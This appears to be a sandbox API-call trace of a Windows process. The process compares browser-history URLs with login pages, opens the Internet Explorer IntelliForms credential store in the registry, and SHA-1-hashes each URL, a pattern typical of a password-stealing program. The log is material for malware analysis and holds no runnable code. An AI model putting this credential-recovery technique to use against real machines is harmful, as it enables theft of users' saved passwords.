[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/4%20u_4u6ls4.ods") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/jfci.jpg") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/-hs5z7.mkv") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/ihug/t1qoetz4ekzwcx.pps") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/g7ihxxpwmul67ynxwjuy.odp") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hgxqnnq3mleakolmso.jpg") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/tghk.docx") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/gfqdbs7ski.jpg") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/j0tfq.pptx") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/dxoeo.jpg") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/mpvc3rk.swf") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/o0jasu4fw456esf.gif") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/numnzhof36r.png") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/eqeagiu6sfywa.gif") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/appdata/roaming/qffjmw5qb0hkk.odp") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/gfs_u1.bmp") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/po5dzd.png") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/6%20%20ld0epzn54nf6f62.pdf") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/db_m.pptx") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/ihug/5vgrnxxmt0.jpg") returned 1
[0079.757] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/ns6oxgxy5z4yhi.gif") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/jdiiemseuyip28.xlsx") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/thid1s161xflbvs1qvby.mkv") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/sq4zs.odt") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hvddhydd.gif") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/bscqw.odt") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/81snq.bmp") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/mso-zv%20iw0fbw4-p3v.bmp") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/wozzxzbxqscnly17n0.xlsx") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/8cb1qu.gif") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/appdata/roaming/3adm.jpg") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/rxgmrbg_.ppt") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/appdata/roaming/1c5hjvxp_vir2ayss.ots") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/josiaz/nbjtuf2im6kaee-b8aa.mkv") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/qsv5elm1q.png") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/onhdsbrjgnrmzx3mz49l.bmp") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 1
[0079.758] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned 1
[0079.759] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned 1
[0079.759] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned 1
[0079.759] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 1
[0079.759] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned 1
[0079.759] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned 1
[0079.759] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.759] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned 1
[0079.759] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned 1
[0079.759] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.759] wcscmp (_String1="https://www.google.com/accounts/servicelogin", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 1
[0079.759] wcslen (_String="https://www.google.com/accounts/servicelogin") returned 0x2c
[0079.759] wcscmp (_String1="http://www.facebook.com/", _String2="https://www.google.com/accounts/servicelogin") returned -1
[0079.759] wcscmp (_String1="http://www.facebook.com/", _String2=":host: www.google.de") returned 1
[0079.759] wcscmp (_String1="http://www.facebook.com/", _String2=":host: www.msn.com") returned 1
[0079.759] wcscmp (_String1="http://www.facebook.com/", _String2="http://google.com") returned 1
[0079.759] wcscmp (_String1="http://www.facebook.com/", _String2="https://www.google.de/") returned -1
[0079.759] wcscmp (_String1="http://www.facebook.com/", _String2="http://www.google.de/") returned -1
[0079.759] wcscmp (_String1="http://www.facebook.com/", _String2="http://www.msn.com/de-de/") returned -1
[0079.759] wcscmp (_String1="http://www.facebook.com/", _String2="https://www.microsoft.com/en-us/iegallery") returned -1
[0079.759] wcscmp (_String1="http://www.facebook.com/", _String2="http://www.iegallery.com/en/addons/") returned -1
[0079.759] wcscmp (_String1="http://www.facebook.com/", _String2="https://support.microsoft.com/products/internet-explorer") returned -1
[0079.759] wcscmp (_String1="http://www.facebook.com/", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1
[0079.759] wcscmp (_String1="http://www.facebook.com/", _String2="http://go.microsoft.com/fwlink/") returned 1
[0079.759] wcscmp (_String1="http://www.facebook.com/", _String2="https://support.microsoft.com/internet-explorer") returned -1
[0079.759] wcscmp (_String1="http://www.facebook.com/", _String2="http://www.msn.com/") returned -1
[0079.760] wcscmp (_String1="http://www.facebook.com/", _String2=":host: computer") returned 1
[0079.760] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveyd~1/desktop/49343.doc") returned 1
[0079.760] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/xsdx_zrd.docx") returned 1
[0079.760] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/desktop/qu0oigomb7ap.gif") returned 1
[0079.760] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/qqujwic.doc") returned 1
[0079.760] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/desktop/3jbbrdk5kxyke.jpg") returned 1
[0079.760] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/swpar5ukzey.xls") returned 1
[0079.772] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/joje0p8bocqgjp%20o6.pps") returned 1
[0079.772] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/yz5je7_%203.pps") returned 1
[0079.772] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/desktop/encwj2/qtvvz.ots") returned 1
[0079.772] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/l9uj7p%20fba_9_y.ppt") returned 1
[0079.772] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/ckllfrri-zjdkcmsae.gif") returned 1
[0079.772] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/pictures/qk7rbutispvizu7iod.gif") returned 1
[0079.772] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/_1x3x.png") returned 1
[0079.772] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/mfotgb5shny.gif") returned 1
[0079.772] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/k4k5n.flv") returned 1
[0079.772] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/r2ojuqwylgit6.ots") returned 1
[0079.772] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/_odawwkfl1ra.docx") returned 1
[0079.772] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/rnndlhlyrgwupi.xlsx") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/iifn4u9wweiqmdcl9.bmp") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/pim74emk.xlsx") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/tnxw0vods.docx") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/desktop/olxk.ots") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/pictures/ec0l%20bsovag9a8ny6n.bmp") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/pan9h-9jw%20sz4.doc") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/s0hxf5vbqg3tuou7yaih.png") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/pictures/_vv7923nmd.gif") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/t5_cs_ek5wgumutxo.odp") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/videos/wfg.mkv") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/desktop/sipbk.bmp") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/2grp.xlsx") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/dottc_9plzq5o597imze.ots") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/desktop/gu-f.gif") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/mcygb.pptx") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/pictures/np2rpt4nzhnmzvjocd.jpg") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/pictures/zkrsd-4qoax5jm7.png") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/pictures/eorqdbqjtjf1ohk.png") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/3tyatzvc1z7khwie.gif") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/glcl.pptx") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/pictures/tqck56jeac.png") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/desktop/xtvhwzic5kkeheqytagm.xls") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/desktop/u4m-9pzjcphsi6.swf") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/61wsaurg.bmp") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/nnht-qixy.docx") returned 1
[0079.773] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/hdlvazkif3vkccxbdo.docx") returned 1
[0079.774] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/videos/josiaz/pgp_.mkv") returned 1
[0079.774] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/l%20sigus.swf") returned 1
[0079.774] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/desktop/pvi1bvfiliqmdkwr.jpg") returned 1
[0079.774] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/u%20x2wz014nno431w.ods") returned 1
[0079.774] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/desktop/h2cb7jajw.flv") returned 1
[0079.774] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/pictures/vajlxu.png") returned 1
[0079.774] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/videos/josiaz/aeprpt-%20br_yutu-.swf") returned 1
[0079.774] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/yaqsguigi.bmp") returned 1
[0079.774] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/jtlncq7xp14exqse.gif") returned 1
[0079.774] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/pictures/yjkdm-.bmp") returned 1
[0079.774] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/videos/myvtc.swf") returned 1
[0079.774] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_yvkle%2090dkso.png") returned 1
[0079.774] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/n6il-.docx") returned 1
[0079.774] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/lpoiy2.odp") returned 1
[0079.774] wcscmp (_String1="http://www.facebook.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/1h-emphi.docx") returned 1
[0079.774] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12aca8 | out: phkResult=0x12aca8*=0x0) returned 0x2
[0079.774] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x76030000
[0079.774] GetProcAddress (hModule=0x76030000, lpProcName="CryptAcquireContextA") returned 0x760391dd
[0079.774] GetProcAddress (hModule=0x76030000, lpProcName="CryptReleaseContext") returned 0x7603e124
[0079.775] GetProcAddress (hModule=0x76030000, lpProcName="CryptCreateHash") returned 0x7603df4e
[0079.775] GetProcAddress (hModule=0x76030000, lpProcName="CryptGetHashParam") returned 0x7603df7e
[0079.775] GetProcAddress (hModule=0x76030000, lpProcName="CryptHashData") returned 0x7603df36
[0079.775] GetProcAddress (hModule=0x76030000, lpProcName="CryptDestroyHash") returned 0x7603df66
[0079.775] CryptAcquireContextA (in: phProv=0x12bcd0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x12bcd0*=0x1aecc0) returned 1
[0079.800] wcslen (_String="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 0x37
[0079.800] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.800] wcslen (_String="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 0x37
[0079.800] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x70, dwFlags=0x0) returned 1
[0079.800] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.800] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.800] wcslen (_String="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 0x37
[0079.800] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.800] wcslen (_String="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots/") returned 0x38
[0079.800] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x72, dwFlags=0x0) returned 1
[0079.800] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.800] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.800] wcslen (_String="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 0x35
[0079.800] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.801] wcslen (_String="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 0x35
[0079.801] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6c, dwFlags=0x0) returned 1
[0079.801] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.801] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.801] wcslen (_String="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 0x35
[0079.801] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.801] wcslen (_String="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx/") returned 0x36
[0079.801] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6e, dwFlags=0x0) returned 1
[0079.801] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.801] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.801] wcslen (_String="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned 0x37
[0079.801] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.801] wcslen (_String="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned 0x37
[0079.801] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x70, dwFlags=0x0) returned 1
[0079.801] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.801] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.801] wcslen (_String="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned 0x37
[0079.801] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.801] wcslen (_String="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv/") returned 0x38
[0079.801] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x72, dwFlags=0x0) returned 1
[0079.801] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.801] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.801] wcslen (_String="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned 0x39
[0079.801] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.801] wcslen (_String="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned 0x39
[0079.801] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x74, dwFlags=0x0) returned 1
[0079.802] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.802] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.802] wcslen (_String="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned 0x39
[0079.802] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.802] wcslen (_String="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg/") returned 0x3a
[0079.802] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x76, dwFlags=0x0) returned 1
[0079.802] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.802] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.802] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 0x44
[0079.802] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.802] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 0x44
[0079.802] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x8a, dwFlags=0x0) returned 1
[0079.802] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.802] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.802] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 0x44
[0079.802] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.802] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx/") returned 0x45
[0079.802] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x8c, dwFlags=0x0) returned 1
[0079.802] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.802] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.802] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned 0x40
[0079.802] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.802] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned 0x40
[0079.802] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x82, dwFlags=0x0) returned 1
